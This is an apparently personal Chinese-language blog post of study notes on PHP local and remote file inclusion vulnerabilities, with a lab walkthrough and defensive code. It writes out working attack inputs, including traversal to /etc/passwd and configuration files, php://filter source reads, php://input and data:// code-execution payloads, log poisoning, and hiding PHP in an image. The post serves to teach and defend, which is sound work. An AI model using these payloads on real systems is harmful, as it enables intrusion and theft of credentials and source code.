Skip to content
Kurisu
Go back

文件包含漏洞(LFI/RFI)

文件包含这篇内容最多:LFI/RFI 的区别、php://filter 伪协议读源码、日志包含 Getshell、session 包含……我整理得最厚的一篇,每个手法都附了我自己的验证过程。

核心知识点

1. 文件的概念与正常用途

// header.php
echo '<h1>教学网站</h1>';
// index.php
include 'header.php';
echo '<p>这里是首页正文</p>';

2. 四个函数

函数文件找不到时重复适合场景
include警告,后续继续执行非页面片段,如页脚
include_once警告,后续继续执行同一文件一次函数/类重复定义
require致命错误,程序终止文件,如数据库
require_once致命错误,程序终止同一文件一次类库和

重点:四个函数风险本质相同——只要文件名来自用户且未严格限制,都可能形成文件漏洞。

3. 被文件的扩展名为什么不重要

4. 漏洞产生原理

<?php
$page = $_GET['page'];
include $page;   // 用户可控的动态
?>

正常请求 ?page=home.php;攻击改 ?page=../../test.php

漏洞成立的两个

  1. 程序使用 include/require 等方式动态文件
  2. 用户能直接或间接控制动态变量的值

判断口诀:“动态 + 用户可控 = 高风险”。固定写死的 include("config.php") 通常不是漏洞。

5. LFI 与 RFI

项目LFIRFI
Local File InclusionRemote File Inclusion
文件位置目标服务器本地远程服务器/远程资源
常见形式../、绝对路径、日志、Sessionhttp://ftp://
依赖通常不依赖 allow_url_include通常要求 allow_url_include=On
常见危害信息泄露,条件满足时代码执行远程代码被执行
现实常见程度较常见现代环境较少见

RFI 检查:php -i | grep -E 'allow_url_fopen|allow_url_include'(以 phpinfo() 为准)。

6. 目录遍历(../)

echo 'LFI_TEST_OK' > /var/www/lfi-marker.txt
# 访问 ?page=../../../lfi-marker.txt,页面出现 LFI_TEST_OK 说明层级正确

7. 读取 Windows 与 Linux 敏感文件

Linux 敏感文件

路径可能得到的信息
/etc/passwd系统账户信息(用户名/UID/家目录/Shell,不含密码哈希)
/etc/apache2/apache2.confApache 主
/etc/httpd/conf/httpd.confRHEL 系 Apache
/etc/nginx/nginx.confNginx
/etc/my.cnfMySQL/MariaDB
/usr/local/php/etc/php.iniPHP

/etc/passwd 示例:root:x:0:0:root:/root:/bin/bash(字段:用户名、x 密码占位、UID、GID、描述、家目录、登录 Shell)。

Windows 敏感文件

路径用途
C:/Windows/php.iniPHP
C:/phpstudy_pro/Extensions/php/php*/php.iniphpStudy 新版 PHP
C:/xampp/apache/conf/httpd.confXAMPP Apache
C:/xampp/apache/logs/access.logXAMPP 访问日志
C:/ProgramData/MySQL/MySQL Server*/my.iniMySQL

页面空白的原因:文件不存在/层级错误、运行用户无读取权限、open_basedir 限制、被 PHP 执行但无输出、错误显示被、被过滤/拼接后缀。

8. 本地文件上传

copy 1.jpg /b + test.php /a 2.jpg

9. Web 日志、SSH 日志

GET /LFI_LOG_TEST_2026 HTTP/1.1
User-Agent: LFI_LOG_MARKER

服务器确认标记真日志,再测,区分”问题/路径问题/权限问题”。

10. Session 文件

11. PHP 伪协议详解(重点)

PHP 把本地文件、网络资源、请求体、数据、压缩统一抽象为”流”,协议决定 PHP 用什么方式打开资源。

协议主要作用文件中的用途
file://本地文件系统读取绝对路径文件
http:// / https://网络资源远程文件
ftp://FTP 资源远程资源访问
php://filter流过滤器Base64 读取 PHP 源代码(最常用)
php://inputHTTP 原始请求体特定下请求体
data://URL 嵌数据直接提供代码或文本
zip://ZIP 压缩访问压缩文件
phar://PHP 归档访问归档文件

file://

?page=file:///etc/passwd
?page=file:///C:/Windows/php.ini

Linux 绝对路径三个斜杠:file:// 协议 + 第三个斜杠属于根路径。

php://filter —— 读取 PHP 源代码(最值得掌握)

?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php   # 省略 read= 的写法
echo 'PD9waHAgZWNobyAnSGVsbG8nOyA/Pg==' | base64 -d

或用 Burp Decoder 选 “Decode as Base64”。

php://input —— 请求体

POST /include/index.php?page=php://input HTTP/1.1
Host: 127.0.0.1
Content-Type: text/plain

<?php echo 'INPUT_OK'; ?>

zip://

?page=zip://C:/Users/student/Desktop/test.jpg%23test.txt

data://

?page=data://text/plain,<?php echo 'DATA_OK'; ?>
?page=data://text/plain;base64,PD9waHAgZWNobyAnREFUQV9PSyc7ID8+

phar://

?page=phar://C:/Users/student/Desktop/test.zip/test.txt
?page=phar://C:/Users/student/Desktop/test.jpg/test.txt

协议对比表

协议用途allow_url_fopenallow_url_include
file://本地文件读取通常无要求通常无要求
php://filter源码读取通常无要求通常无要求
php://input请求体通常不是核心常见要求 On
data://URL 嵌数据常见要求 On常见要求 On
http://远程常见要求 On要求 On
zip://压缩通常无要求通常无要求
phar://归档通常无要求通常无要求

12. 常见限制、失败原因与排错

五步排错法

  1. 确认参数确实 include/require,而不是普通读取函数或路由框架。
  2. 用同目录无害文件验证基础成立。
  3. 用唯一标记文件计算相对路径层级。
  4. 检查权限、open_basedir、后缀拼接和过滤。
  5. 最后再测协议、日志、Session 或上传组合。

13. 漏洞检测流程与 Burp 操作

14. 编码与防御

最危险的写法include $_GET['page'];。黑名单过滤 ../php://http:// 容易遗漏变形协议。

推荐:标识符到固定路径的白名单映射

$pages = [
  'home'  => __DIR__ . '/pages/home.php',
  'news'  => __DIR__ . '/pages/news.php',
  'about' => __DIR__ . '/pages/about.php',
];
$key = $_GET['page'] ?? 'home';
if (!isset($pages[$key])) {
  http_response_code(404);
  exit('页面不存在');
}
include $pages[$key];

用户只能提交业务标识,无法提交 ../、绝对路径或协议。

使用路径时的规范化检查

$base   = realpath(__DIR__ . '/pages');
$name   = $_GET['file'] ?? '';
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
  http_response_code(400);
  exit('非法路径');
}
include $target;

realpath 解析 ../ 和符号链接得到规范化绝对路径,随后确认最终路径仍在目录。

加固: allow_url_include;按需评估 allow_url_fopen; open_basedir; display_errors 开启日志;Web 进程最小权限;上传目录与代码目录隔离且禁止 PHP 执行;Session 目录合理权限。

上传功能加固:随机文件名、重新编码图片、存储 Web 根目录外、独立域名/对象存储、禁止上传目录 PHP 解析、白名单映射不上传路径。

防御检查:是否存在来自 GET/POST/Cookie/Header 的 include 参数?是否固定白名单?能否 ../ 离开目录?是否 php://、data://、http:// 等协议?上传/日志/Session 目录是否可能被?错误页面是否泄露绝对路径?Web 进程是否权限过大?

实操步骤

# 实验目录结构
/var/www/html/lfi-lab/
├── index.php          # $page=$_GET['page']??'pages/home.php'; include $page;
├── pages/{home.php,news.php}
├── marker.txt
└── uploads/

# 1. 正常
?page=pages/home.php
# 2. 目录遍历
?page=../marker.txt
# 3. 读取敏感文件
?page=/etc/passwd
# 4. php://filter 读源码
?page=php://filter/read=convert.base64-encode/resource=index.php
# 5. 日志标记
GET /LFI_LOG_MARKER_01 HTTP/1.1(User-Agent 也写标记)
?page=../../../../var/log/apache2/access.log
# 6. php://input(POST 请求体写 PHP 代码)
?page=php://input
# 7. data:// / zip:// / phar:// 见上文

常见错误与排查


Share this post:

Previous Post
文件上传漏洞
Next Post
命令执行与代码执行